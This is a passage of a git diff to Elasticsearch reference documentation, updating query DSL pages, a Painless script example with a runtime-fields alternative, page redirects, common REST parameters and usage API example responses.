default behaviour of the -per-term `blended` queries. It accepts: +any field in a group. Then when combining scores across groups, the query uses +the best score from any group. The `tie_breaker` parameter can change the +behavior for both of these steps: [horizontal] `0.0`:: Take the single best score out of (eg) `first_name:will` - and `last_name:will` (*default* for all `multi_match` - query types except `bool_prefix` and `most_fields`) + and `last_name:will` (default) `1.0`:: Add together the scores for (eg) `first_name:will` and - `last_name:will` (*default* for the `bool_prefix` and - `most_fields` `multi_match` query types) + `last_name:will` `0.0 < n < 1.0`:: Take the single best score plus +tie_breaker+ multiplied - by each of the scores from other matching fields. + by each of the scores from other matching fields/ groups [IMPORTANT] [[crossfields-fuzziness]] diff --git a/docs/reference/query-dsl/percolate-query.asciidoc b/docs/reference/query-dsl/percolate-query.asciidoc index 8e543f63232b4..684b0b571f149 100644 --- a/docs/reference/query-dsl/percolate-query.asciidoc +++ b/docs/reference/query-dsl/percolate-query.asciidoc @@ -660,7 +660,7 @@ evaluate. The reason the `percolate` query can do this is because during indexin terms are being extracted and indexed with the percolator query. Unfortunately the percolator cannot extract terms from all queries (for example the `wildcard` or `geo_shape` query) and as a result of that in certain cases the percolator can't do the selecting optimization (for example if an unsupported query is defined in a required clause of a boolean query -or the unsupported query is the only query in the percolator document). These queries are marked by the percolator and +or the unsupported query is the only query in the percolator document). These queries are marked by the percolator and can be found by running the following search: diff --git a/docs/reference/query-dsl/prefix-query.asciidoc b/docs/reference/query-dsl/prefix-query.asciidoc index b400924edb19a..43df8204afef2 100644 --- a/docs/reference/query-dsl/prefix-query.asciidoc +++ b/docs/reference/query-dsl/prefix-query.asciidoc @@ -41,8 +41,8 @@ provided ``. (Optional, string) Method used to rewrite the query. For valid values and more information, see the <>. -`case_insensitive`:: -(Optional, Boolean) allows ASCII case insensitive matching of the +`case_insensitive` added:[7.10.0] :: +(Optional, Boolean) Allows ASCII case insensitive matching of the value with the indexed field values when set to true. Default is false which means the case sensitivity of matching depends on the underlying field's mapping. diff --git a/docs/reference/query-dsl/query-string-syntax.asciidoc b/docs/reference/query-dsl/query-string-syntax.asciidoc index 52c9030acb273..17d53365e31e2 100644 --- a/docs/reference/query-dsl/query-string-syntax.asciidoc +++ b/docs/reference/query-dsl/query-string-syntax.asciidoc @@ -79,7 +79,7 @@ value like the following: ======= Allowing a wildcard at the beginning of a word (eg `"*ing"`) is particularly heavy, because all terms in the index need to be examined, just in case -they match. Leading wildcards can be disabled by setting +they match. Leading wildcards can be disabled by setting `allow_leading_wildcard` to `false`. ======= @@ -105,7 +105,7 @@ The supported regular expression syntax is explained in <>. [WARNING] ======= The `allow_leading_wildcard` parameter does not have any control over -regular expressions. A query string such as the following would force +regular expressions. A query string such as the following would force Elasticsearch to visit every term in the index: /.*n/ @@ -148,7 +148,7 @@ you can search for `app~1` (fuzzy) or `app*` (wildcard), but searches for While a phrase query (eg `"john smith"`) expects all of the terms in exactly the same order, a proximity query allows the specified words to be further -apart or in a different order. In the same way that fuzzy queries can +apart or in a different order. In the same way that fuzzy queries can specify a maximum edit distance for characters in a word, a proximity search allows us to specify a maximum edit distance of words in a phrase: @@ -230,9 +230,9 @@ Boosts can also be applied to phrases or to groups: ====== Boolean operators -By default, all terms are optional, as long as one term matches. A search +By default, all terms are optional, as long as one term matches. A search for `foo bar baz` will find any document that contains one or more of -`foo` or `bar` or `baz`. We have already discussed the `default_operator` +`foo` or `bar` or `baz`. We have already discussed the `default_operator` above which allows you to force all terms to be required, but there are also _boolean operators_ which can be used in the query string itself to provide more control. diff --git a/docs/reference/query-dsl/query_filter_context.asciidoc b/docs/reference/query-dsl/query_filter_context.asciidoc index 0aa0eb994cb7b..5cbd774232495 100644 --- a/docs/reference/query-dsl/query_filter_context.asciidoc +++ b/docs/reference/query-dsl/query_filter_context.asciidoc @@ -31,7 +31,7 @@ parameter, such as the `query` parameter in the === Filter context In a filter context, a query clause answers the question ``__Does this document match this query clause?__'' The answer is a simple Yes or No -- no -scores are calculated. Filter context is mostly used for filtering structured +scores are calculated. Filter context is mostly used for filtering structured data, e.g. * __Does this +timestamp+ fall into the range 2015 to 2016?__ @@ -50,7 +50,7 @@ parameter, such as the `filter` or `must_not` parameters in the [[query-filter-context-ex]] === Example of query and filter contexts Below is an example of query clauses being used in query and filter context -in the `search` API. This query will match documents where all of the following +in the `search` API. This query will match documents where all of the following conditions are met: * The `title` field contains the word `search`. diff --git a/docs/reference/query-dsl/rank-feature-query.asciidoc b/docs/reference/query-dsl/rank-feature-query.asciidoc index 02875e66505f4..6ed7fdc39bd7e 100644 --- a/docs/reference/query-dsl/rank-feature-query.asciidoc +++ b/docs/reference/query-dsl/rank-feature-query.asciidoc @@ -12,6 +12,15 @@ The `rank_feature` query is typically used in the `should` clause of a <> query so its relevance scores are added to other scores from the `bool` query. +With `positive_score_impact` set to `false` for a `rank_feature` or +`rank_features` field, we recommend that every document that participates +in a query has a value for this field. Otherwise, if a `rank_feature` query +is used in the should clause, it doesn't add anything to a score of +a document with a missing value, but adds some boost for a document +containing a feature. This is contrary to what we want – as we consider these +features negative, we want to rank documents containing them lower than documents +missing them. + Unlike the <> query or other ways to change <>, the `rank_feature` query efficiently skips non-competitive hits when the diff --git a/docs/reference/query-dsl/regexp-query.asciidoc b/docs/reference/query-dsl/regexp-query.asciidoc index 480809ce1352a..8ed994c09391a 100644 --- a/docs/reference/query-dsl/regexp-query.asciidoc +++ b/docs/reference/query-dsl/regexp-query.asciidoc @@ -68,8 +68,8 @@ provided. To improve performance, avoid using wildcard patterns, such as `.*` or valid values and more information, see <>. -`case_insensitive`:: -(Optional, Boolean) allows case insensitive matching of the regular expression +`case_insensitive` added:[7.10.0]:: +(Optional, Boolean) Allows case insensitive matching of the regular expression value with the indexed field values when set to true. Default is false which means the case sensitivity of matching depends on the underlying field's mapping. diff --git a/docs/reference/query-dsl/script-query.asciidoc b/docs/reference/query-dsl/script-query.asciidoc index cba078b5fc234..bd2796de32f2b 100644 --- a/docs/reference/query-dsl/script-query.asciidoc +++ b/docs/reference/query-dsl/script-query.asciidoc @@ -4,6 +4,12 @@ Script ++++ +NOTE: <> provide a very similar feature that is + more flexible. You write a script to create field values and they + are available everywhere, such as <>, + <>, and <>. + + Filters documents based on a provided <>. The `script` query is typically used in a <>. @@ -22,17 +28,112 @@ GET /_search "bool": { "filter": { "script": { - "script": { - "source": "doc['num1'].value > 1", - "lang": "painless" - } + "script": """ + double amount = doc['amount'].value; + if (doc['type'].value == 'expense') { + amount *= -1; + } + return amount < 10; + """ } } } } } ---- +// TEST[setup:ledger] +// TEST[s/_search/_search?filter_path=hits.hits&sort=amount/] + +//// +[source,console-result] +---- +{ + "hits": { + "hits": [ + { + "_id": $body.hits.hits.0._id, + "_index": $body.hits.hits.0._index, + "_score": null, + "_source": $body.hits.hits.0._source, + "sort": [10.0] + }, + { + "_id": $body.hits.hits.1._id, + "_index": $body.hits.hits.1._index, + "_score": null, + "_source": $body.hits.hits.1._source, + "sort": [50.0] + }, + { + "_id": $body.hits.hits.2._id, + "_index": $body.hits.hits.2._index, + "_score": null, + "_source": $body.hits.hits.2._source, + "sort": [50.0] + } + ] + } +} +---- +//// + +You can achieve the same results in a search +query by using runtime fields. Use the +<> parameter on the +`_search` API to fetch values as part of the +same query: + +[source,console] +---- +GET /_search +{ + "runtime_mappings": { + "amount.signed": { + "type": "double", + "script": """ + double amount = doc['amount'].value; + if (doc['type'].value == 'expense') { + amount *= -1; + } + emit(amount); + """ + } + }, + "query": { + "bool": { + "filter": { + "range": { + "amount.signed": { "lt": 10 } + } + } + } + }, + "fields": [{"field": "amount.signed"}] +} +---- +// TEST[setup:ledger] +// TEST[s/_search/_search?filter_path=hits.hits.fields&sort=amount.signed:desc/] +//// +[source,console-result] +---- +{ + "hits": { + "hits": [ + { + "fields": {"amount.signed": [-10.0]} + }, + { + "fields": {"amount.signed": [-50.0]} + }, + { + "fields": {"amount.signed": [-50.0]} + } + ] + } +} +---- +//// [[script-top-level-params]] ==== Top-level parameters for `script` diff --git a/docs/reference/query-dsl/special-queries.asciidoc b/docs/reference/query-dsl/special-queries.asciidoc index 06f7cc98a734e..cad9b28cbfdbc 100644 --- a/docs/reference/query-dsl/special-queries.asciidoc +++ b/docs/reference/query-dsl/special-queries.asciidoc @@ -22,7 +22,7 @@ A query that computes scores based on the values of numeric features and is able to efficiently skip non-competitive hits. <>:: -This query allows a script to act as a filter. Also see the +This query allows a script to act as a filter. Also see the <>. <>:: diff --git a/docs/reference/query-dsl/term-query.asciidoc b/docs/reference/query-dsl/term-query.asciidoc index 705687955b351..a17a3c6091e4b 100644 --- a/docs/reference/query-dsl/term-query.asciidoc +++ b/docs/reference/query-dsl/term-query.asciidoc @@ -62,10 +62,10 @@ Boost values are relative to the default value of `1.0`. A boost value between `0` and `1.0` decreases the relevance score. A value greater than `1.0` increases the relevance score. -`case_insensitive`:: -(Optional, Boolean) allows ASCII case insensitive matching of the +`case_insensitive` added:[7.10.0]:: +(Optional, Boolean) Allows ASCII case insensitive matching of the value with the indexed field values when set to true. Default is false which means -the case sensitivity of matching depends on the underlying field's mapping +the case sensitivity of matching depends on the underlying field's mapping. [[term-query-notes]] ==== Notes diff --git a/docs/reference/query-dsl/wildcard-query.asciidoc b/docs/reference/query-dsl/wildcard-query.asciidoc index ae84c60abbcbf..d0cfa384c009b 100644 --- a/docs/reference/query-dsl/wildcard-query.asciidoc +++ b/docs/reference/query-dsl/wildcard-query.asciidoc @@ -69,8 +69,8 @@ increases the relevance score. (Optional, string) Method used to rewrite the query. For valid values and more information, see the <>. -`case_insensitive`:: -(Optional, Boolean) allows case insensitive matching of the +`case_insensitive` added:[7.10.0]:: +(Optional, Boolean) Allows case insensitive matching of the pattern with the indexed field values when set to true. Default is false which means the case sensitivity of matching depends on the underlying field's mapping. diff --git a/docs/reference/redirects.asciidoc b/docs/reference/redirects.asciidoc index 4ca27b80aef40..00a5ae4ae6b50 100644 --- a/docs/reference/redirects.asciidoc +++ b/docs/reference/redirects.asciidoc @@ -3,6 +3,146 @@ The following pages have moved or been deleted. +[role="exclude",id="grok-basics"] +=== Grok basics + +See <>. + +// [START] Security redirects + +[role="exclude",id="get-started-users"] +=== Create users + +See <>. + +[role="exclude",id="encrypting-communications-certificates"] +=== Generate certificates + +See <>. + +[role="exclude",id="encrypting-internode-communications"] +=== Tutorial: Encrypting communications + +See <>. + +[role="exclude",id="encrypting-internode"] +=== Encrypting internode communication + +See <>. + +[role="exclude",id="security-getting-started"] +=== Tutorial: Getting started with security + +See <>. + +// [START] OpenID Connect authentication +[role="exclude",id="oidc-guide-authentication"] +=== Configure {es} for OpenID Connect authentication + +See <>. + +[role="exclude",id="oidc-claims-mapping"] +==== Claims mapping + +See <>. + +[role="exclude",id="oidc-kibana"] +=== Configuring {kib} + +See <>. + +[role="exclude",id="oidc-role-mapping"] +=== Configuring role mappings + +See <>. +// [END] OpenID Connect authentication + +// [START] SAML authentication +[role="exclude",id="saml-guide"] +=== Configure SAML single-sign on + +See <>. + +[role="exclude",id="saml-kibana"] +=== Configuring {kib} + +See <>. + +[role="exclude",id="saml-guide-authentication"] +=== Configure {es} for SAML authentication + +See <>. + +[role="exclude",id="saml-attribute-mapping"] +==== Attribute mapping + +See <>. + +[role="exclude",id="saml-user-properties"] +===== User properties + +See <>. +// [END] SAML authentication + +[role="exclude",id="active-directory-ssl"] +=== Setting up SSL between {es} and Active Directory + +See <>. + +[role="exclude",id="elasticsearch-security"] +=== Security overview + +See <>. + +[role="exclude",id="get-started-enable-security"] +=== Enable {es} {security-features} + +See <>. + +[role="exclude",id="ssl-tls"] +=== Set up TLS on a cluster + +See <>. + +// [START] Configuring TLS +[role="exclude",id="configuring-tls"] +=== Configure TLS + +See <>. + +[role="exclude",id="tls-http"] +==== Encrypt HTTP client communications + +See <>. + +[role="exclude",id="tls-transport"] +==== Encrypt internode communication + +See <>. + +[role="exclude",id="node-certificates"] +==== Generating node certificates + +See <>. + +[role="exclude",id="configuring-security"] +=== Configure security in {es} + +See <>. + +// [END] Configuring TLS + +[role="exclude",id="encrypting-communications"] +=== Encrypting communications + +See <>. +// [END] Security redirects + +[roles="exclude",id="modules-scripting-stored-scripts"] +=== Stored scripts + +See <> + [role="exclude",id="node.name"] === Node name setting @@ -46,7 +186,7 @@ See <>. [role="exclude",id="indices-upgrade"] === Upgrade API -The `_upgrade` API is no longer useful and will be removed. Instead, see +The `_upgrade` API is no longer useful and will be removed. Instead, see <>. [role="exclude",id="mapping-parent-field"] @@ -401,7 +541,7 @@ See <>. [role="exclude",id="configuring-saml-realm"] === Configuring a SAML realm -See <>. +See <>. [role="exclude",id="saml-settings"] ==== SAML realm settings @@ -493,7 +633,7 @@ See <>. [role="exclude",id="how-security-works"] === How security works -See <>. +See <>. [role="exclude",id="rollup-job-config"] === Rollup job configuration @@ -706,7 +846,7 @@ See: This page was deleted. Information about the Java testing framework was removed -({es-issue}55257[#55257]) from the {es} Reference +({es-issue}55257[#55257]) from the {es} Guide because it was out of date and erroneously implied that it should be used by application developers. There is an issue ({es-issue}55258[#55258]) for providing general testing guidance for applications that communicate with {es}. @@ -716,7 +856,7 @@ for providing general testing guidance for applications that communicate with {e This page was deleted. Information about the Java testing framework was removed -({es-issue}55257[55257]) from the {es} Reference because it was out of date and +({es-issue}55257[55257]) from the {es} Guide because it was out of date and erroneously implied that it should be used by application developers. There is an issue ({es-issue}55258[#55258]) for providing general testing @@ -728,7 +868,7 @@ guidance for applications that communicate with {es}. This page was deleted. Information about the Java testing framework was removed -({es-issue}55257[55257]) from the {es} Reference +({es-issue}55257[55257]) from the {es} Guide because it was out of date and erroneously implied that it should be used by application developers. There is an issue ({es-issue}[#55258]) for providing general testing guidance for applications that communicate with {es}. @@ -739,7 +879,7 @@ for providing general testing guidance for applications that communicate with {e This page was deleted. Information about the Java testing framework was removed -({es-issue}55257[55257]) from the {es} Reference +({es-issue}55257[55257]) from the {es} Guide because it was out of date and erroneously implied that it should be used by application developers. There is an issue ({es-issue}55258[#55258]) for providing general testing guidance for applications that communicate with {es}. @@ -750,7 +890,7 @@ for providing general testing guidance for applications that communicate with {e This page was deleted. Information about the Java testing framework was removed -({es-issue}55257[55257]) from the {es} Reference +({es-issue}55257[55257]) from the {es} Guide because it was out of date and erroneously implied that it should be used by application developers. There is an issue ({es-issue}55258[#55258]) for providing general testing guidance for applications that communicate with {es}. @@ -761,7 +901,7 @@ for providing general testing guidance for applications that communicate with {e This page was deleted. Information about the Java testing framework was removed -({es-issue}55257[55257]) from the {es} Reference +({es-issue}55257[55257]) from the {es} Guide because it was out of date and erroneously implied that it should be used by application developers. There is an issue ({es-issue}55258[#55258]) for providing general testing guidance for applications that communicate with {es}. @@ -1023,7 +1163,7 @@ See <>. [role="exclude",id="indices-status"] === Index status API -The index `_status` API has been replaced with the <> and <> APIs. [role="exclude",id="search-facets"] @@ -1272,24 +1412,6 @@ See <>. See <>. -[role="exclude",id="searchable-snapshots-api-clear-cache"] -=== Clear cache API - -We have removed documentation for this API. This a low-level API used to clear -the searchable snapshot cache. We plan to remove or drastically change this API -as part of a future release. - -For other searchable snapshot APIs, see <>. - -[role="exclude",id="searchable-snapshots-api-stats"] -=== Searchable snapshot statistics API - -We have removed documentation for this API. This a low-level API used to get -information about searchable snapshot indices. We plan to remove or drastically -change this API as part of a future release. - -For other searchable snapshot APIs, see <>. - [role="exclude",id="searchable-snapshots-repository-stats"] === Searchable snapshot repository statistics API @@ -1356,3 +1478,118 @@ instead. === `fielddata` mapping parameter See <>. + +[role="exclude",id="pipeline"] +=== Pipeline definition + +See <>. + +[role="exclude",id="accessing-data-in-pipelines"] +=== Accessing data in pipelines + +See <>, <>, and +<>. + +[role="exclude",id="ingest-conditionals"] +=== Conditional execution in pipelines + +See <>. + +[role="exclude",id="ingest-conditional-nullcheck"] +=== Handling nested fields in conditionals + +See <>. + +[role="exclude",id="ingest-conditional-complex"] +=== Complex conditionals + +See <>. + +[role="exclude",id="conditionals-with-multiple-pipelines"] +=== Conditionals with the pipeline processor + +See <>. + +[role="exclude",id="conditionals-with-regex"] +=== Conditionals with the regular expressions + +See <>. + +[role="exclude",id="handling-failure-in-pipelines"] +=== Handling failures in pipelines + +See <>. + +[role="exclude",id="ingest-processors"] +=== Ingest processors + +See <>. + +[role="exclude",id="enrich-policy-definition"] +=== Enrich policy definition + +See <>. + +[role="exclude",id="rollup-api"] +=== Rollup API + +See <>. + +[role="exclude",id="getting-started-install"] +=== Get {es} up and running + +See <>. + +[role="exclude",id="getting-started-index"] +=== Index some documents + +See <>. + +[role="exclude",id="getting-started-search"] +=== Start searching + +See <>. + +[role="exclude",id="getting-started-aggregations"] +=== Analyze results with aggregations + +See <>. + +[role="exclude",id="getting-started-next-steps"] +=== Where to go from here + +See <>. + +[role="exclude",id="jvm-options"] +=== Settng JVM options + +See <>. + +[role="exclude",id="terms-enum"] +=== Terms enum API + +See <>. + +[role="exclude",id="frozen-indices"] +=== Frozen indices + +// tag::frozen-index-redirect[] +include::{es-repo-dir}/indices/apis/freeze.asciidoc[tag=freeze-api-dep] + +For API documentation, see <> and <>. +// end::frozen-index-redirect[] + +[role="exclude",id="best_practices"] +=== Best practices for frozen indices + +include::redirects.asciidoc[tag=frozen-index-redirect] + +[role="exclude",id="searching_a_frozen_index"] +=== Searching a frozen index + +include::redirects.asciidoc[tag=frozen-index-redirect] + +[role="exclude",id="monitoring_frozen_indices"] +=== Monitoring frozen indices + +include::redirects.asciidoc[tag=frozen-index-redirect] diff --git a/docs/reference/release-notes/highlights.asciidoc b/docs/reference/release-notes/highlights.asciidoc index 8689c391925d9..4b2afd2b6ded6 100644 --- a/docs/reference/release-notes/highlights.asciidoc +++ b/docs/reference/release-notes/highlights.asciidoc @@ -1,14 +1,12 @@ [[release-highlights]] == What's new in {minor-version} -coming[{minor-version}] +coming::[{minor-version}] -Here are the highlights of what's new and improved in {es} {minor-version}! -ifeval::["{release-state}"!="unreleased"] -For detailed information about this release, see the -<> and -<>. -endif::[] +Here are the highlights of what's new and improved in {es} {minor-version}! + +For detailed information about this release, see the <> and +<>. // Add previous release to the list // Other versions: diff --git a/docs/reference/repositories-metering-api/apis/repositories-meterings-body.asciidoc b/docs/reference/repositories-metering-api/apis/repositories-meterings-body.asciidoc index c92c0311f8198..a34bc88584973 100644 --- a/docs/reference/repositories-metering-api/apis/repositories-meterings-body.asciidoc +++ b/docs/reference/repositories-metering-api/apis/repositories-meterings-body.asciidoc @@ -106,7 +106,7 @@ When a repository is closed or updated the repository metering information is archived and kept for a certain period of time. This allows retrieving the repository metering information of previous repository instantiations. -`archive_version`:: +`cluster_version`:: (Optional, long) The cluster state version when this object was archived, this field can be used as a logical timestamp to delete all the archived metrics up diff --git a/docs/reference/rest-api/common-parms.asciidoc b/docs/reference/rest-api/common-parms.asciidoc index 050a21eea00e7..88b33c69fa406 100644 --- a/docs/reference/rest-api/common-parms.asciidoc +++ b/docs/reference/rest-api/common-parms.asciidoc @@ -25,25 +25,18 @@ end::index-alias[] tag::aliases[] `aliases`:: -(Optional, <>) Index aliases which include the -index. See <>. +(Optional, <>) Index aliases which include the index. Index +alias names support <>. end::aliases[] -tag::target-index-aliases[] -`aliases`:: -(Optional, <>) -Index aliases which include the target index. -See <>. -end::target-index-aliases[] - tag::allow-no-indices[] `allow_no_indices`:: (Optional, Boolean) If `false`, the request returns an error if any wildcard expression, -<>, or `_all` value targets only missing or closed -indices. This behavior applies even if the request targets other open indices. -For example, a request targeting `foo*,bar*` returns an error if an index -starts with `foo` but no index starts with `bar`. +<>, or `_all` value targets only missing or closed indices. +This behavior applies even if the request targets other open indices. For +example, a request targeting `foo*,bar*` returns an error if an index starts +with `foo` but no index starts with `bar`. end::allow-no-indices[] tag::allow-no-match-transforms1[] @@ -165,7 +158,7 @@ prior to starting the {transform}. end::dest-index[] tag::dest-pipeline[] -The unique identifier for a <>. +The unique identifier for an <>. end::dest-pipeline[] tag::detailed[] @@ -214,27 +207,22 @@ The number of documents that have been processed from the source index of the {transform}. end::docs-processed[] -tag::enrich-policy[] -Enrich policy name -used to limit the request. -end::enrich-policy[] - tag::ds-expand-wildcards[] `expand_wildcards`:: + -- (Optional, string) -Type of data stream that wildcard expressions can match. Supports +Type of data stream that wildcard patterns can match. Supports comma-separated values, such as `open,hidden`. Valid values are: `all`, `hidden`:: -Match any data stream, including <> ones. +Match any data stream, including <> ones. `open`, `closed`:: Matches any non-hidden data stream. Data streams cannot be closed. `none`:: -Wildcard expressions are not accepted. +Wildcard patterns are not accepted. -- end::ds-expand-wildcards[] @@ -243,13 +231,13 @@ tag::expand-wildcards[] + -- (Optional, string) -Type of index that wildcard expressions can match. If the request can target -data streams, this argument determines whether wildcard expressions match -hidden data streams. Supports comma-separated values, such as `open,hidden`. -Valid values are: +Type of index that wildcard patterns can match. If the request can target data +streams, this argument determines whether wildcard expressions match hidden data +streams. Supports comma-separated values, such as `open,hidden`. Valid values +are: `all`:: -Match any data stream or index, including <> ones. +Match any data stream or index, including <> ones. `open`:: Match open, non-hidden indices. Also matches any non-hidden data stream. @@ -263,7 +251,7 @@ Match hidden data streams and hidden indices. Must be combined with `open`, `closed`, or both. `none`:: -Wildcard expressions are not accepted. +Wildcard patterns are not accepted. -- end::expand-wildcards[] @@ -423,7 +411,7 @@ end::index-ignore-unavailable[] tag::include-defaults[] `include_defaults`:: -(Optional, string) If `true`, return all default settings in the response. +(Optional, Boolean) If `true`, return all default settings in the response. Defaults to `false`. end::include-defaults[] @@ -431,7 +419,7 @@ tag::include-segment-file-sizes[] `include_segment_file_sizes`:: (Optional, Boolean) If `true`, the call reports the aggregated disk usage of -each one of the Lucene index files (only applies if segment stats are +each one of the Lucene index files (only applies if segment stats are requested). Defaults to `false`. end::include-segment-file-sizes[] @@ -619,17 +607,25 @@ end::memory[] tag::bulk-require-alias[] `require_alias`:: (Optional, Boolean) -If `true`, the action must target an <>. Defaults -to `false`. +If `true`, the action must target an <>. Defaults to +`false`. end::bulk-require-alias[] tag::require-alias[] `require_alias`:: -(Optional, Boolean) -If `true`, the destination must be an <>. Defaults to -`false`. +(Optional, Boolean) If `true`, the destination must be an <>. +Defaults to `false`. end::require-alias[] +tag::bulk-dynamic-templates[] +`dynamic_templates`:: +(Optional, map) +A map from the full name of fields to the name of <. +Defaults to an empty map. If a name matches a dynamic template, then that template will be +applied regardless of other match predicates defined in the template. And if a field is +already defined in the mapping, then this parameter won't be used. +end::bulk-dynamic-templates[] + tag::node-filter[] ``:: (Optional, string) @@ -703,6 +699,7 @@ currently supported: * <> * <> * <> +* <> * <> * <> * <> @@ -710,8 +707,10 @@ currently supported: * <> * <> * <> +* <> * <> * <> +* <> * <> * <> @@ -790,15 +789,9 @@ end::requests_per_second[] tag::routing[] `routing`:: -(Optional, string) Target the specified primary shard. -end::routing[] - -tag::index-routing[] -`routing`:: (Optional, string) -Custom <> -used to route operations to a specific shard. -end::index-routing[] +Custom value used to route operations to a specific shard. +end::routing[] tag::cat-s[] `s`:: @@ -922,8 +915,12 @@ end::source-transforms[] tag::source-index-transforms[] The _source indices_ for the {transform}. It can be a single index, an index pattern (for example, `"my-index-*"`), an array of indices (for example, -`["my-index-000001", "my-index-000002"]`), or an array of index patterns (for example, -`["my-index-*", "my-other-index-*"]`. +`["my-index-000001", "my-index-000002"]`), or an array of index patterns (for +example, `["my-index-*", "my-other-index-*"]`. For remote indices use the syntax +`"remote_name:index_name"`. + +NOTE: If any indices are in remote clusters then the master node and at least +one transform node must have the `remote_cluster_client` node role. end::source-index-transforms[] tag::source-query-transforms[] @@ -932,7 +929,9 @@ A query clause that retrieves a subset of data from the source index. See end::source-query-transforms[] tag::source-runtime-mappings-transforms[] -Definitions of search-time runtime fields that can be used by the transform. +Definitions of search-time runtime fields that can be used by the transform. For +search runtime fields all data nodes, including remote nodes, must be 7.12 or +later. end::source-runtime-mappings-transforms[] tag::state-transform[] @@ -1013,7 +1012,7 @@ Defines optional {transform} settings. end::transform-settings[] tag::transform-settings-dates-as-epoch-milli[] -Defines if dates in the ouput should be written as ISO formatted string (default) +Defines if dates in the output should be written as ISO formatted string (default) or as millis since epoch. `epoch_millis` has been the default for transforms created before version `7.11`. For compatible output set this to `true`. The default value is `false`. @@ -1065,8 +1064,14 @@ end::term_statistics[] tag::terminate_after[] `terminate_after`:: -(Optional, integer) The maximum number of documents to collect for each shard, -upon reaching which the query execution will terminate early. +(Optional, integer) Maximum number of documents to collect for each shard. If a +query reaches this limit, {es} terminates the query early. {es} collects +documents before sorting. ++ +IMPORTANT: Use with caution. {es} applies this parameter to each shard handling +the request. When possible, let {es} perform early termination automatically. +Avoid specifying this parameter for requests that target data streams with +backing indices across multiple data tiers. end::terminate_after[] tag::time[] @@ -1135,7 +1140,7 @@ end::segment-version[] tag::version_type[] `version_type`:: -(Optional, enum) Specific version type: `internal`, `external`, +(Optional, enum) Specific version type: `external`, `external_gte`. end::version_type[] diff --git a/docs/reference/rest-api/index.asciidoc b/docs/reference/rest-api/index.asciidoc index f281cdddf9674..87888b45d5b40 100644 --- a/docs/reference/rest-api/index.asciidoc +++ b/docs/reference/rest-api/index.asciidoc @@ -14,12 +14,14 @@ not be included yet. * <> * <> * <> +* <> * <> * <> * <> * <> -* <> -* <> +* <> +* <> +* <> * <> * <> * <> @@ -29,9 +31,10 @@ not be included yet. * <> * <> * <> -* <> -* <> +* <> +* <> * <> +* <> * <> * <> * <> @@ -50,6 +53,8 @@ include::{es-repo-dir}/ccr/apis/ccr-apis.asciidoc[] include::{es-repo-dir}/data-streams/data-stream-apis.asciidoc[] include::{es-repo-dir}/docs.asciidoc[] include::{es-repo-dir}/ingest/apis/enrich/index.asciidoc[] +include::{es-repo-dir}/features/apis/features-apis.asciidoc[] +include::{es-repo-dir}/fleet/index.asciidoc[] include::{es-repo-dir}/text-structure/apis/find-structure.asciidoc[leveloffset=+1] include::{es-repo-dir}/graph/explore.asciidoc[] include::{es-repo-dir}/indices.asciidoc[] @@ -64,6 +69,7 @@ include::{es-repo-dir}/migration/migration.asciidoc[] include::{es-repo-dir}/indices/apis/reload-analyzers.asciidoc[] include::{es-repo-dir}/repositories-metering-api/repositories-metering-apis.asciidoc[] include::{es-repo-dir}/rollup/rollup-apis.asciidoc[] +include::{es-repo-dir}/scripting/apis/script-apis.asciidoc[] include::{es-repo-dir}/search.asciidoc[] include::{es-repo-dir}/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc[] include::{xes-repo-dir}/rest-api/security.asciidoc[] diff --git a/docs/reference/rest-api/info.asciidoc b/docs/reference/rest-api/info.asciidoc index 4f7f15bc1eea6..3ab37721128d9 100644 --- a/docs/reference/rest-api/info.asciidoc +++ b/docs/reference/rest-api/info.asciidoc @@ -114,10 +114,6 @@ Example response: "available": true, "enabled": true }, - "runtime_fields": { - "available": true, - "enabled": true - }, "searchable_snapshots" : { "available" : true, "enabled" : true diff --git a/docs/reference/rest-api/usage.asciidoc b/docs/reference/rest-api/usage.asciidoc index 362be5fac4126..1f98b2ffa0c95 100644 --- a/docs/reference/rest-api/usage.asciidoc +++ b/docs/reference/rest-api/usage.asciidoc @@ -48,15 +48,7 @@ GET /_xpack/usage { "security" : { "available" : true, - "enabled" : false, - "ssl" : { - "http" : { - "enabled" : false - }, - "transport" : { - "enabled" : false - } - } + "enabled" : false }, "monitoring" : { "available" : true, @@ -127,6 +119,15 @@ GET /_xpack/usage "data_frame_analytics_jobs" : { "_all" : { "count" : 0 + }, + "analysis_counts": { }, + "memory_usage": { + "peak_usage_bytes": { + "min": 0.0, + "max": 0.0, + "avg": 0.0, + "total": 0.0 + } } }, "inference" : { @@ -155,6 +156,25 @@ GET /_xpack/usage "trained_models" : { "_all" : { "count" : 0 + }, + "count": { + "total": 1, + "classification": 0, + "regression": 0, + "prepackaged": 1, + "other": 0 + }, + "estimated_heap_memory_usage_bytes": { + "min": 0.0, + "max": 0.0, + "avg": 0.0, + "total": 0.0 + }, + "estimated_operations": { + "min": 0.0, + "max": 0.0, + "avg": 0.0, + "total": 0.0 } } }, @@ -265,7 +285,9 @@ GET /_xpack/usage "searchable_snapshots" : { "available" : true, "enabled" : true, - "indices_count" : 0 + "indices_count" : 0, + "full_copy_indices_count" : 0, + "shared_cache_indices_count" : 0 }, "frozen_indices" : { "available" : true, @@ -364,11 +386,6 @@ GET /_xpack/usage "aggregate_metric" : { "available" : true, "enabled" : true - }, - "runtime_fields" : { - "available" : true, - "enabled" : true, - "field_types" : [] } } ------------------------------------------------------------ diff --git a/docs/reference/rollup/apis/delete-job.asciidoc b/docs/reference/rollup/apis/delete-job.asciidoc index 9f425f8f869fa..12ad52eceda3d 100644 --- a/docs/reference/rollup/apis/delete-job.asciidoc +++ b/docs/reference/rollup/apis/delete-job.asciidoc @@ -1,21 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-delete-job]] -=== Delete legacy {rollup-jobs} API -[subs="attributes"] -++++ -Delete legacy {rollup-jobs} -++++ - -include::put-job.asciidoc[tag=legacy-rollup-admon] - -Deletes a legacy {rollup-job}. - -endif::[] -ifndef::permanently-unreleased-branch[] - [role="xpack"] [testenv="basic"] [[rollup-delete-job]] @@ -29,8 +11,6 @@ Deletes an existing {rollup-job}. experimental[] -endif::[] - [[rollup-delete-job-request]] ==== {api-request-title} diff --git a/docs/reference/rollup/apis/get-job.asciidoc b/docs/reference/rollup/apis/get-job.asciidoc index df0c41ad17b4a..8a0eba4fa9ade 100644 --- a/docs/reference/rollup/apis/get-job.asciidoc +++ b/docs/reference/rollup/apis/get-job.asciidoc @@ -1,20 +1,3 @@ -ifdef::permanently-unreleased-branch[] - -[role="xpack"] -[testenv="basic"] -[[rollup-get-job]] -=== Get legacy 